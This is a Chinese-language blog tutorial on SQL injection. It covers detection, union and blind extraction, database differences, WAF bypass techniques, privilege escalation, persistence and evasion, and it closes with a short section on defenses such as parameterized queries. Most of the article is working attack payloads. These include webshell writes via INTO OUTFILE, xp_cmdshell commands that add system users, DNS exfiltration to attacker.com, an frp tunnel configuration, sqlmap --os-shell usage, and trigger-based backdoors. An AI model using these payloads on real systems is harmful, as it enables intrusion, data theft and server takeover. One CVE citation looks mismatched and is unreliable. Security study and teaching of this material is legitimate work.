sql注入

作者:wangym 发表于:2025-09-19

@[toc]

SQL 注入概述

SQL 注入(SQL Injection)是 Web 应用中最危险、最常见的安全漏洞之一,属于 OWASP Top 10 长期上榜风险。攻击者通过将恶意 SQL 代码注入到应用程序的输入参数(如 URL 参数、表单提交、HTTP 头部等),利用应用程序对用户输入的 “未过滤 / 未转义” 缺陷,篡改后台 SQL 查询逻辑,使数据库执行非预期操作。

其核心危害包括但不限于:

  • 数据泄露:窃取敏感信息(用户密码、银行卡号、商业数据等);
  • 数据篡改:修改 / 删除数据库内容(如篡改订单金额、删除用户数据);
  • 权限提升:伪装管理员账号登录,甚至获取数据库服务器系统权限;
  • 服务器接管:通过写入恶意脚本(WebShell)控制整个 Web 服务器

SQL注入原理

基本概念

应用程序将用户输入直接拼接到 SQL 查询语句中,未进行任何安全处理(过滤、转义、参数化),导致攻击者可通过构造特殊输入 “打破” 原 SQL 语句的语法结构,注入自定义逻辑。

示例

-- 原始查询
SELECT * FROM users WHERE username = '$username' AND password = '$password'

-- 恶意输入
username: admin' --

-- 最终执行的SQL
SELECT * FROM users WHERE username = 'admin' --' AND password = '(任意)'

SQL注入影响因素分析表

影响因素 说明 注入示例 备注
数据库类型及权限 不同数据库语法、函数、系统表结构差异大;用户权限决定操作范围 MySQL: UNION SELECT LOAD_FILE('/etc/passwd')(需 FILE 权限) MSSQL: ;EXEC xp_cmdshell 'whoami'--(需启用 xp_cmdshell) MySQL 无 FILE 权限无法读文件;MSSQL 默认禁用 xp_cmdshell
数据操作方法 增删改查(CRUD)对注入利用的风险不同 查询: ' UNION SELECT username,password FROM users-- 删除: '; DELETE FROM orders WHERE 1=1-- 删除 / 修改操作破坏性更强,但需触发执行条件;查询操作更易窃取数据
参数数据类型 数字型、字符型、LIKE 型参数需不同注入语法 数字型: id=1 OR 1=1--(无需引号) 字符型: name='admin' OR '1'='1'--(需闭合引号) LIKE 型: search=%' AND 1=1--%(需处理百分号) 数字型参数若用WHERE id=$id,直接注入OR 1=1即可
参数数据格式 加密、编码、序列化会增加注入难度,需先解析格式 Base64 编码: dXNlcm5hbWU9J2FkbWluJyBPUiAnMSc9JzEn(解码后为username='admin' OR '1'='1') JSON 格式: {"id":"1' UNION SELECT--"} 需先通过抓包分析数据格式(如 BurpSuite 查看请求体),再构造对应 Payload
提交数据方式 参数位置(GET/POST/Cookie/HTTP 头)影响注入测试方式 GET: ?id=1' AND 1=1-- POST 表单: username=admin'--&password=123 Cookie: session=123' AND (SELECT...) SQLmap 通过--data(POST)、--cookie(Cookie)指定注入位置
有无数据处理 应用对输入的过滤、转义、验证会降低注入成功率 过滤单引号: 1' OR '1'='1 → 被过滤为1 OR 1=1 转义单引号: 1' → 转义为1\' 无回显: ' AND IF(1=1,SLEEP(5),0)--(时间盲注) 过滤不彻底可被绕过(如双写1'' OR ''1''=''1);无回显需用盲注 / 外带技术
WAF / 防护设备 Web 应用防火墙会检测并阻断恶意 Payload 被拦截: UNION SELECT → 绕过: UNI/**/ON SEL/**/ECT(插入注释) 被拦截: OR 1=1 → 绕过: OR 2>1(逻辑等价替换) 需结合 WAF 特性调整 Payload(如编码、分块传输、参数污染)
错误信息显示 详细错误信息可加速信息收集,无错误显示需盲注 显示错误: You have an error in your SQL syntax...(暴露数据库类型) 不显示错误:通用 “登录失败” 页面 生产环境应关闭错误回显(如 PHP 关闭display_errors
输入长度限制 参数 maxlength 或服务器截断会限制复杂 Payload 输入框maxlength=20:无法输入长 Payload URL 参数截断:超出服务器限制长度的内容被忽略 可通过短 Payload(如1'--)测试,或分阶段注入(分段提交恶意代码)
会话管理机制 需有效会话或 CSRF Token 才能提交请求,影响注入持久性 需先登录获取 Cookie 才能访问/user?id=1 表单需携带csrf_token才能提交 测试时需维持会话(如保存 Cookie),或自动提取 CSRF Token

注入思路

信息收集 → 注入点探测 → 注入类型确定 → 数据提取 → 权限提升 → 后渗透操作

1. 信息收集阶段

目标识别

  • 识别所有用户输入点
    • 常规输入点
      • GET 参数(URL 中?id=1?search=test);
      • POST 表单(登录框、注册页、提交按钮的表单字段);
      • HTTP 头部(Cookie、User-Agent、Referer、X-Forwarded-For);
      • 文件上传(文件名、文件描述、请求头中的Content-Disposition)。
    • 隐藏输入点
      • API 端点(如/api/user?id=1/api/order的 JSON 参数);
      • 动态参数(如页面加载时异步请求的tokentimestamp);
      • 第三方集成(如评论系统、搜索插件的输入字段)。

技术栈分析

# 1. 使用whatweb识别技术栈(需先安装whatweb)
whatweb target.com  # 示例输出:"Apache/2.4.49, PHP/7.4.30, MySQL"

# 2. 查看HTTP响应头(通过curl或BurpSuite)
curl -I target.com  # 响应头可能包含"Server: Apache"、"X-Powered-By: PHP/7.4.30"

# 3. 浏览器插件辅助:Wappalyzer(Chrome/Firefox插件)
# 直接显示目标使用的Web服务器、数据库、前端框架等信息

#错误页面探测
#故意构造错误输入(如id=1'),观察页面是否返回数据库错误:
#若返回MySQL syntax error,直接确认数据库类型为 MySQL;
#若返回Microsoft OLE DB Provider for SQL Server,确认数据库为 MSSQL;
#若仅显示 “系统错误”,需后续用盲注测试。

2. 注入点探测

注入类型 适用场景 检测方法(核心 Payload) 优点 缺点
基础注入(是否存在) 初步筛查输入点是否有注入漏洞 1. 数字型参数:id=1'(若报错,可能存在注入)、id=1 AND 1=1(正常)、id=1 AND 1=2(无结果,确认注入) 2. 字符型参数:name='admin' AND '1'='1'(正常)、name='admin' AND '1'='2'(无结果,确认注入) 简单快速,1-2 个 Payload 即可判断 无法确定注入类型(如联合查询 / 盲注)
联合查询注入 页面直接显示 SQL 查询结果(有回显) 1. 确定列数:id=1' ORDER BY 1--ORDER BY 2--…(直到报错,前一个数即为列数) 2. 找回显位:id=1' UNION SELECT 1,2,3--(页面显示的数字即为回显位) 数据提取快,结果直观 需页面有回显,易被 WAF 拦截
报错注入 页面显示数据库错误信息(无回显但有错误) MySQL: ' AND updatexml(1,concat(0x7e,version()),0)--(0x7e 是~,用于分隔错误信息) MSSQL: ' AND convert(int, @@version)-- 无需回显位,单次获取数据 受错误信息长度限制(如 MySQL 报错仅显示部分内容)
布尔盲注 页面无数据回显,但有状态差异(如 “存在 / 不存在”) 1. 判断数据库名长度:' AND length(database())=5--(若页面正常,说明长度为 5) 2. 逐字符猜解:' AND substr(database(),1,1)='a'--(页面正常则第一个字符为a 适用性广,无错误也能测 需大量请求,速度慢
时间盲注 页面无任何状态差异(完全无回显) MySQL: ' AND IF(1=1,SLEEP(5),0)--(若延迟 5 秒,说明条件成立) MSSQL: ' AND WAITFOR DELAY '0:0:5'-- 最隐蔽,适用于所有场景 速度极慢,受网络延迟影响大
堆叠查询注入 数据库支持多语句执行(用;分隔) id=1'; INSERT INTO logs VALUES ('attack')--(执行查询后,额外插入一条日志) id=1'; DROP TABLE users;--(删除 users 表) 可执行任意 SQL,功能最强 大部分环境禁用多语句执行(如 PHP 的mysql_query不支持)
带外通道注入 传统注入被限制(如 WAF 拦截、无回显无错误) MySQL: ' AND (SELECT LOAD_FILE(concat('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\file.txt')))--(通过 DNS 查询外带数据) 绕过严格防护 需数据库有网络权限,配置复杂(需搭建攻击者服务器)

3. 注入类型确定与利用

联合查询注入流程

1. 确定字段数
ORDER BY 1--
ORDER BY 2--
...
ORDER BY n--  # 直到报错

2. 确定可显示字段位置
UNION SELECT 1,2,3,...,n--

3. 获取数据库信息
UNION SELECT 1,version(),database(),4--

4. 获取表信息
UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()--

5. 获取列信息
UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'--

6. 提取数据
UNION SELECT 1,username,password,4 FROM users--

盲注实战技巧

布尔盲注数据提取

# 提取数据库名长度
' AND (SELECT LENGTH(database()))=5-- 

# 逐字符提取数据库名
' AND (SELECT SUBSTRING(database(),1,1))='a'-- 
' AND (SELECT SUBSTRING(database(),1,1))='b'-- 
...

# 自动化提取脚本思路
for position from 1 to length:
    for character in 'abcdefghijklmnopqrstuvwxyz0123456789':
        payload = f"' AND (SELECT SUBSTRING((SELECT database()),{position},1))='{character}'-- "
        if request(payload).content_length > 0:
            result += character
            break

时间盲注数据提取

# MySQL时间盲注示例
' AND IF((SELECT SUBSTRING(database(),1,1))='a',SLEEP(5),0)-- 

# 自动化提取思路
for position from 1 to estimated_length:
    for character in character_set:
        payload = f"' AND IF((SELECT SUBSTRING((SELECT database()),{position},1))='{character}',SLEEP(5),0)-- "
        start_time = time.now()
        send_request(payload)
        if time.now() - start_time > 4.5:  # 考虑网络延迟
            result += character
            break

4. 绕过技巧

当注入被 WAF 或应用过滤拦截时,需通过以下技巧调整 Payload

注释符绕过

当--、#被过滤时,用其他方式注释或截断 SQL:
空字节截断:' OR 1=1;%00(%00是 ASCII 空字符,部分服务器会截断后续内容);
内联注释(MySQL 特有):' /*!OR*/ 1=1--(/*! */内的内容会被 MySQL 执行,其他数据库忽略)。

关键字绕过

# 大小写混合(WAF 可能只检测小写 / 大写,混合可绕过)
UnIoN SeLeCT

# 双写关键字(若 WAF 仅过滤一次,双写后会保留UNION SELECT)
UNIUNIONON SELESELECTCT

# 内联注释(/**/是 MySQL 注释,不影响执行,可拆分关键字)
/*!UNION*/ /*!SELECT*/

# 编码绕过
%55%4e%49%4f%4e %53%45%4c%45%43%54  # UNION SELECT的URL编码

# 空白符替代
%09 %0A %0C %0D %20 %A0  # 各种空白符

WAF绕过技术

# 分块传输编码(WAF 可能仅检测完整 Payload,分块后无法识别)
使用Transfer-Encoding: chunked绕过输入检测;
通过 Burp 构造分块请求绕过 WAF

# 非常规HTTP方法(WAF 可能只防护 GET/POST 请求)
使用PUT、DEBUG等非常规方法

# 参数污染(服务器可能取最后一个id值,WAF 可能仅检测第一个id=1)
id=1&id=2' UNION SELECT--

#规则混淆
利用数据库特性变异关键字,如 MySQL 中||等价于OR,可替换OR 1=1为|| 1=1;

# JSON注入
{"id":"1' UNION SELECT--"}

# 二次编码('的 URL 编码是%27,二次编码是%2527   WAF 可能只解码一次,服务器会解码两次)
%2527  # 单引号的二次URL编码

5. 不同数据库的差异

特性 MySQL Microsoft SQL Server(MSSQL) Oracle PostgreSQL
默认端口 3306 1433 1521 5432
注释语法 --#/* */ --/* */ --/* */ --/* */
当前数据库 DATABASE() DB_NAME() SELECT name FROM v$database CURRENT_DATABASE()
版本信息 VERSION()@@VERSION @@VERSION SELECT banner FROM v$version VERSION()
系统表(查所有表) information_schema.tables sysobjectsxtype='U'表示用户表) all_tables information_schema.tablespg_tables
延时函数 SLEEP(n)BENCHMARK(1000000,md5(1)) WAITFOR DELAY '0:0:n' DBMS_LOCK.SLEEP(n) PG_SLEEP(n)
文件读取 LOAD_FILE('路径')(需 FILE 权限) OPENROWSET(BULK '路径', SINGLE_BLOB) AS data UTL_FILE包(需权限) pg_read_file('路径')
文件写入 INTO OUTFILE '路径'(需 FILE 权限) xp_cmdshell('echo content > 路径') UTL_FILE.PUT_LINE COPY (SELECT 'content') TO '路径'
命令执行 写 WebShell(如SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php' xp_cmdshell('命令')(需启用) 调用 Java 存储过程 扩展插件(如 Python 函数)
报错注入核心函数 updatexml()extractvalue() convert(int, 变量) ctxsys.drithsx.sn() cast(变量 as int)

6. 提权与后渗透

注入成功后,需进一步扩大控制范围,常见操作如下:

读取敏感文件

-- MySQL(需FILE权限)
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--  # 读取Linux系统用户文件
UNION SELECT 1,LOAD_FILE('C:/Windows/system32/drivers/etc/hosts'),3--  # 读取Windows hosts文件

-- PostgreSQL
UNION SELECT 1,pg_read_file('/etc/passwd'),3--

写入 WebShell(控制 Web 服务器)

前提:知道 Web 根目录路径(如/var/www/htmlC:/xampp/htdocs),且数据库有写入权限。

-- MySQL写入PHP一句话木马
UNION SELECT 1,'<?php @eval($_POST[cmd]);?>' AS webshell,3 INTO OUTFILE '/var/www/html/shell.php'--
-- 后续通过蚁剑/菜刀连接:http://target.com/shell.php,密码cmd

-- MSSQL(通过xp_cmdshell写入)
'; EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\xampp\htdocs\shell.php'--

命令执行

-- MSSQL(sysadmin权限)
'; EXEC xp_cmdshell 'whoami'--  # 查看当前用户
'; EXEC xp_cmdshell 'ipconfig'--  # 查看网络配置
'; EXEC xp_cmdshell 'net user test 123456 /add'--  # 添加系统用户

-- MySQL(需通过WebShell间接执行,或开启UDF提权)
-- 先写入UDF动态链接库,再创建函数执行命令(复杂,需对应MySQL版本)

数据库权限提升

-- MySQL查看是否有超级权限
UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user = user()--  # Y表示有超级权限
-- MSSQL查看是否为sysadmin角色
UNION SELECT 1,IS_SRVROLEMEMBER('sysadmin'),3--  # 1表示是sysadmin

-- 若 MySQL 有FILE权限:可写入my.cnf配置文件,添加恶意配置;可以参考CVE-2021-21551
-- 若 MSSQL 是sysadmin:可启用xp_cmdshell、sp_oacreate等存储过程,执行系统命令

内网穿透

通过注入写入 frp 客户端配置,将数据库端口转发到公网:

-- MySQL写入frp配置
SELECT '[common]\nserver_addr = attacker.com\nserver_port = 7000' INTO OUTFILE '/tmp/frp.ini'--

7. 自动化与工具使用策略

手动注入效率低,实际测试中常用工具自动化完成,以下工具只简单介绍sqlmap

工具名称 特点与适用场景 局限性
SQLmap 支持多数据库、自动绕过 WAF、功能全面 对复杂认证(如 OAuth)支持有限
jSQL Injection 轻量开源、适合手动测试辅助 自动化程度低,需手动分析结果
NoSQLMap 针对 MongoDB 等 NoSQL 数据库的注入测试 不支持传统 SQL 数据库
Burp Suite(插件) SQLi Scanner 插件可被动检测注入点 误报率较高,需人工验证
Arachni 支持 CI/CD 集成,适合自动化测试流程 定制化 Payload 能力弱

SQLmap常规用法

# 1. GET参数注入测试
sqlmap -u "http://target.com/page.php?id=1" -v 1  # -v 1显示详细信息

# 2. POST表单注入测试(--data指定POST数据)
sqlmap -u "http://target.com/login.php" --data "username=admin&password=123"

# 3. Cookie注入测试
sqlmap -u "http://target.com/user.php" --cookie "PHPSESSID=abc123"

# 4. 直接获取所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs

# 5. 获取指定库(webapp)的所有表
sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables

# 6. 获取指定表(users)的所有数据
sqlmap -u "http://target.com/page.php?id=1" -D webapp -T users --dump

高级用法(绕过 WAF、提权)

# 1. 绕过WAF(使用tamper脚本,space2comment将空格替换为/* */)
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment

# 2. 多线程加速(--threads,最大10)
sqlmap -u "http://target.com/page.php?id=1" --threads=5

# 3. 获取OS Shell(直接控制服务器)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# 4. 连接数据库(直接操作数据库,需账号密码)
sqlmap -d "mysql://user:password@192.168.1.100:3306/webapp" --dump

半自动化测试(Burp Suite)

  1. Repeater 模块:手动修改请求参数(如id=1'),观察响应是否有注入特征;

  2. Intruder 模块:批量发送 Payload(如布尔盲注的逐字符猜解),快速定位有效 Payload;

  3. 结合 SQLmap:将 Burp 作为代理,让 SQLmap 通过 Burp 发送请求(便于抓包分析):

    sqlmap -u "http://target.com/page.php?id=1" --proxy=http://127.0.0.1:8080  # Burp默认代理端口8080
    

8. 痕迹清理与持久化

日志绕过

# 使用时间盲注减少日志记录
# 使用DNS外带数据避免直接日志

# 最小化请求次数
尽量使用UNION查询而不是盲注

Web shell持久化

# 多种方式部署Web shell
通过SELECT INTO OUTFILE写入
通过数据库备份功能写入
通过文件上传功能结合SQL注入路径遍历

数据库权限维持技巧

创建触发器:在 MySQL 中创建触发器,每次插入数据时执行恶意代码:

CREATE TRIGGER backdoor AFTER INSERT ON logs
FOR EACH ROW
BEGIN
  INSERT INTO backdoor_logs VALUES (USER(), NOW());
END;

数据库作业:在 MSSQL 中创建定时作业,定期执行命令:

USE msdb;
EXEC sp_add_job @job_name = 'persist';
-- 添加步骤执行xp_cmdshell

9. 防御规避检测

识别WAF规则

# 发送正常和恶意请求对比响应
# 观察HTTP状态码变化
# 检查是否有WAF特有头部

# 使用sqlmap识别WAF
sqlmap -u "http://target.com/page.php?id=1" --identify-waf

低慢速攻击

# 使用时间盲注并延长延时时间
# 分块传输编码低速发送

10.SQL 注入防御方案

SQL 注入的防御需从 “输入处理”“查询方式”“权限控制” 多维度入手,形成闭环防护:

核心防御:使用参数化查询(预编译语句)

原理:将 SQL 语句的 “结构” 与 “参数” 分离,参数由数据库引擎单独处理,避免用户输入篡改 SQL 结构。
主流语言示例

语言 / 框架 错误写法(直接拼接) 正确写法(参数化查询)
PHP(MySQLi) $sql = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($conn, $sql); $stmt = $conn->prepare("SELECT * FROM users WHERE username=?"); $stmt->bind_param("s", $username);(”s” 表示字符串类型) $stmt->execute();
Java(JDBC) String sql = "SELECT * FROM users WHERE username='" + username + "'"; Statement stmt = conn.createStatement(); stmt.executeQuery(sql); String sql = "SELECT * FROM users WHERE username=?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username);(1 表示第一个参数) pstmt.executeQuery();
Python(MySQLdb) sql = f"SELECT * FROM users WHERE username='{username}'"; cursor.execute(sql) sql = "SELECT * FROM users WHERE username=%s"; cursor.execute(sql, (username,))(参数用元组传递)
Python(Django ORM) 无需手动写 SQL,ORM 自动参数化: User.objects.filter(username=username) Django ORM 底层已实现参数化,避免注入风险(推荐使用框架 ORM)

输入验证与过滤(辅助防御)

  • 数据类型验证:对数字型参数(如id)强制转换为整数(如int(id)),非数字直接拒绝;
  • 格式验证:用正则表达式限制输入格式(如邮箱^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$);
  • 特殊字符过滤:对 SQL 关键字(UNIONSELECTOR)和特殊符号(';--)进行转义(如将'转义为\'),但需注意:过滤不能替代参数化查询(过滤规则可能被绕过)。

最小权限原则(降低危害)

  • 数据库用户权限:Web 应用使用的数据库账号仅授予 “必要权限”(如只给SELECT/INSERT权限,不给DROP/FILE权限);
  • 文件系统权限:Web 目录禁止写入(仅上传目录可写,且限制上传文件类型);
  • 服务器权限:Web 服务器运行用户(如www-data)仅给最小权限,禁止直接使用root/Administrator

安全配置(减少暴露面)

  1. 关闭错误回显:生产环境禁用数据库错误显示(如 PHP 关闭display_errors = Off,Java 配置全局错误页面);
  2. 禁用危险功能:
    • MySQL:禁用LOAD_FILEINTO OUTFILE(通过sql_mode或权限控制);
    • MSSQL:禁用xp_cmdshellsp_oacreate等危险存储过程;
  3. 更新补丁:及时更新 Web 服务器(Apache/Nginx)、数据库、框架的安全补丁,修复已知漏洞。

部署 WAF(最后一道防线)

  • 作用:通过规则检测并阻断恶意 SQL 注入 Payload(如拦截UNION SELECTOR 1=1等特征);
  • 选型:可使用开源 WAF(如 ModSecurity)或商业 WAF(如阿里云 WAF、Cloudflare);
  • 注意:WAF 需定期更新规则,避免被新型绕过技术突破。
版权声明

本文仅代表作者观点,不代表XX立场。
本文系作者授权百度百家发表,未经许可,不得转载。

分享:

扫一扫在手机阅读、分享本文

请发表您的评论